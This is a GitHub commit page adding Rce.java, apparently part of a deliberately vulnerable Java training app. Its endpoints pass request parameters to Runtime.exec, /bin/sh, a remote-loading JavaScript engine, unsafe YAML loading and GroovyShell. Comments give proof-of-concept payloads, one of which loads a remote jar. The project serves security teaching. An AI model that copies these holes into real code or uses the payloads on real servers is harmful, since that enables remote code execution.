Skip to content

Commit f0dec06

Browse files
committed
add Rce.java
1 parent 4711f4e commit f0dec06

1 file changed

Lines changed: 138 additions & 0 deletions

File tree

  • src/main/java/org/joychou/controller
Lines changed: 138 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,138 @@
1+
package org.joychou.controller;
2+
3+
import groovy.lang.GroovyShell;
4+
import lombok.extern.slf4j.Slf4j;
5+
import org.springframework.web.bind.annotation.GetMapping;
6+
import org.springframework.web.bind.annotation.RequestMapping;
7+
import org.springframework.web.bind.annotation.RestController;
8+
import org.yaml.snakeyaml.Yaml;
9+
import org.yaml.snakeyaml.constructor.SafeConstructor;
10+
11+
import javax.script.Bindings;
12+
import javax.script.ScriptContext;
13+
import javax.script.ScriptEngine;
14+
import javax.script.ScriptEngineManager;
15+
import java.io.BufferedInputStream;
16+
import java.io.BufferedReader;
17+
import java.io.InputStreamReader;
18+
19+
20+
/**
21+
* Java code execute
22+
*
23+
* @author JoyChou @ 2018-05-24
24+
*/
25+
@Slf4j
26+
@RestController
27+
@RequestMapping("/rce")
28+
public class Rce {
29+
30+
@GetMapping("/runtime/exec")
31+
public String CommandExec(String cmd) {
32+
Runtime run = Runtime.getRuntime();
33+
StringBuilder sb = new StringBuilder();
34+
35+
try {
36+
Process p = run.exec(cmd);
37+
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
38+
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
39+
String tmpStr;
40+
41+
while ((tmpStr = inBr.readLine()) != null) {
42+
sb.append(tmpStr);
43+
}
44+
45+
if (p.waitFor() != 0) {
46+
if (p.exitValue() == 1)
47+
return "Command exec failed!!";
48+
}
49+
50+
inBr.close();
51+
in.close();
52+
} catch (Exception e) {
53+
return e.toString();
54+
}
55+
return sb.toString();
56+
}
57+
58+
59+
/**
60+
* <a href="http://localhost:8080/rce/ProcessBuilder?cmd=whoami">POC</a>
61+
*/
62+
@GetMapping("/ProcessBuilder")
63+
public String processBuilder(String cmd) {
64+
65+
StringBuilder sb = new StringBuilder();
66+
67+
try {
68+
String[] arrCmd = {"/bin/sh", "-c", cmd};
69+
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
70+
Process p = processBuilder.start();
71+
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
72+
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
73+
String tmpStr;
74+
75+
while ((tmpStr = inBr.readLine()) != null) {
76+
sb.append(tmpStr);
77+
}
78+
} catch (Exception e) {
79+
return e.toString();
80+
}
81+
82+
return sb.toString();
83+
}
84+
85+
86+
/**
87+
* http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js
88+
*
89+
* curl http://xx.yy/zz.js
90+
* var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
91+
*
92+
* @param jsurl js url
93+
*/
94+
@GetMapping("/jscmd")
95+
public void jsEngine(String jsurl) throws Exception{
96+
// js nashorn javascript ecmascript
97+
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
98+
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
99+
String cmd = String.format("load(\"%s\")", jsurl);
100+
engine.eval(cmd, bindings);
101+
}
102+
103+
104+
/**
105+
* http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://test.joychou.org:8086/yaml-payload.jar%22]]]]
106+
* yaml-payload.jar: https://github.com/artsploit/yaml-payload
107+
*
108+
* @param content payloads
109+
*/
110+
@GetMapping("/vuln/yarm")
111+
public void yarm(String content) {
112+
Yaml y = new Yaml();
113+
y.load(content);
114+
}
115+
116+
@GetMapping("/sec/yarm")
117+
public void secYarm(String content) {
118+
Yaml y = new Yaml(new SafeConstructor());
119+
y.load(content);
120+
}
121+
122+
/**
123+
* http://localhost:8080/rce/groovy?content="open -a Calculator".execute()
124+
* @param content groovy shell
125+
*/
126+
@GetMapping("groovy")
127+
public void groovyshell(String content) {
128+
GroovyShell groovyShell = new GroovyShell();
129+
groovyShell.evaluate(content);
130+
}
131+
132+
133+
134+
public static void main(String[] args) throws Exception{
135+
Runtime.getRuntime().exec("touch /tmp/x");
136+
}
137+
}
138+

0 commit comments

Comments
 (0)